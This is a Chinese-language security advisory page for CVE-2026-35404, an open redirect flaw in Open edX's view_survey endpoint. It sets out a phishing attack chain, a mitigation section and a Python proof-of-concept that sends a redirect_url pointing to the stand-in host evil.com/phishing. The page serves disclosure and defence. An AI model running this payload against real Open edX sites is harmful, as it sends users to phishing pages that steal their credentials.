IPBUF安全漏洞报告
English
CVE-2026-35404 CVSS 4.7 中危

CVE-2026-35404 Open edX开放重定向漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35404
漏洞类型
开放重定向
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Open edX Platform

相关标签

开放重定向Open edX网络钓鱼CVE-2026-35404

漏洞概述

Open edX Platform的`view_survey`端点因未对`redirect_url`参数进行验证,存在开放重定向漏洞。攻击者可利用该漏洞构造恶意链接,诱导受害者重定向至钓鱼网站,从而窃取凭证或进行进一步攻击。该漏洞已被特定提交修复。

技术细节

该漏洞源于Open edX Platform中`view_survey`端点对用户输入的`redirect_url`参数缺乏严格的验证机制。应用程序直接将此参数传递给`HttpResponseRedirect()`函数,导致开放重定向。利用场景包括:当攻击者提供一个不存在的调查名称并附带恶意URL时,服务器会立即响应HTTP 302重定向。此外,该恶意URL还会被嵌入页面的隐藏表单字段中,并在后续请求的JSON响应中返回,触发客户端JavaScript执行`location.href`跳转。这种双重跳转机制极大地增加了网络钓鱼攻击的成功率,特别是针对已认证的Open edX用户。

攻击链分析

STEP 1
步骤1:构造恶意链接
攻击者构造包含恶意redirect_url参数的view_survey端点链接,并设置一个不存在的调查名称。
STEP 2
步骤2:诱导用户访问
攻击者通过钓鱼邮件或社交媒体诱导已认证的Open edX用户点击该恶意链接。
STEP 3
步骤3:服务端重定向
Open edX服务器接收请求,由于未验证URL,直接返回HTTP 302响应,将用户重定向至攻击者控制站点。
STEP 4
步骤4:客户端重定向
若未触发302,恶意URL也会嵌入JSON响应,客户端JS执行location.href跳转。
STEP 5
步骤5:实施攻击
用户浏览器加载钓鱼页面,攻击者利用用户的信任状态进行凭证窃取或其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35404: Open edX Platform Open Redirect import requests def exploit_open_redirect(target_host, redirect_url): """ Exploits the open redirect vulnerability in the view_survey endpoint. """ # Construct the malicious URL endpoint = f"{target_host}/survey/view_survey" params = { "name": "non_existent_survey", # Triggers the 302 redirect logic "redirect_url": redirect_url } print(f"[*] Sending request to: {endpoint}") print(f"[*] Payload: redirect_url={redirect_url}") try: # Send request without following redirects to capture the Location header response = requests.get(endpoint, params=params, allow_redirects=False, timeout=10) if response.status_code == 302: location = response.headers.get('Location') if location == redirect_url: print(f"[+] Vulnerability Confirmed! Server redirects to: {location}") return True else: print(f"[-] Unexpected redirect to: {location}") else: print(f"[-] Expected 302 Redirect, got status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": # Example usage target = "http://localhost:8000" malicious_site = "http://evil.com/phishing" exploit_open_redirect(target, malicious_site)

影响范围

Open edX Platform (Commit 76462f1e5fa9b37d2621ad7ad19514b403908970 之前)

防御指南

临时缓解措施
在应用补丁前,建议在Web应用防火墙(WAF)层面添加规则,检测并拦截包含外部域名的redirect_url参数请求,或临时禁用受影响的view_survey端点功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表